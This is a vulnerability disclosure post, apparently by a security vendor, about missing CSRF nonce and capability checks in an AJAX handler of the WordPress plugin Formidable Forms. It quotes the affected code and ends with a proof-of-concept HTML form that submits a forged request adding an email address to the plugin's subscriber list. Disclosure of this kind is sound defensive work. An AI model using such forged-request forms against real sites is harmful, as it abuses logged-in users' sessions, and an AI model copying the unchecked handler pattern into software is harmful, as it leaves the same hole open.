400,000+ Install WordPress Plugin Formidable Forms Is Missing More Basic Security Checks
In January, because at least one of our customers was using the 400,000+ install WordPress plugin Formidable Forms, we looked into a changelog entry for the then latest version of the plugin that suggested a cross-site request forgery (CSRF) vulnerability had been fixed. We confirmed that the developer had indeed addressed an instance of CSRF, but we also found that code similar to what was being fixed was still vulnerable to that. It turns out that version had also added yet another instance of the issue. That is striking since protection against CSRF is a really basic element of securing a WordPress plugin, so not something that should be an issue with such a popular plugin. The additional instance has yet another missing basic security check as well.
Last week, a new version of the plugin was released. The update was flagged by our system that uses machine learning, a form of artificial intelligence (AI), to try to detect when vulnerabilities have been fixed, but haven’t been disclosed, in plugins used by our customers. We found a security change being made, which changed the following line that was previously bringing in user input without sanitizing it (which is yet another security issue):
322 | $email = FrmAppHelper::get_post_param( 'email' ); |
The new version sanitizes the input as an email address:
322 | $email = FrmAppHelper::get_post_param( 'email', '', 'sanitize_email' ); |
Whether there was a vulnerability being fixed would depend in part on how that code could be accessed. The function that is part of, which is in the file /classes/controllers/FrmDashboardController.php, doesn’t contain any security checks:
311 312 313 314 315 316 317 318 319 320 321 322 323 | public static function ajax_requests() { $dashboard_action = FrmAppHelper::get_post_param( 'dashboard_action', '', 'sanitize_text_field' ); switch ( $dashboard_action ) { case 'welcome-banner-has-closed': self::add_welcome_closed_banner_user_id(); wp_send_json_success(); break; case 'save-subscribed-email': $email = FrmAppHelper::get_post_param( 'email', '', 'sanitize_email' ); self::save_subscribed_email( $email ); |
That function is accessible through WordPress’ AJAX functionality by anyone logged in to WordPress:
286 | add_action( 'wp_ajax_dashboard_ajax_action', 'FrmDashboardController::ajax_requests' ); |
Based on what the function does and who has access to it versus who is intended to have access, there should be both a nonce check to prevent CSRF and a capabilities check to limit access to the intended users.
The functionality accessible there looks to be of very limited value to an attacker.
It looks like there at least is one more AJAX accessible function that isn’t properly secured in the same way. We would caution using the plugin unless the developer is able to show that they have gotten a better grasp on security than they have now.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will add the email address test@example.com to the subscribed emails for the plugin.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=dashboard_ajax_action" method="POST"> <input type="hidden" name="dashboard_action" value="save-subscribed-email" /> <input type="hidden" name="email" value='test@example.com' /> <input type="submit" value="Submit" /> </form> </body>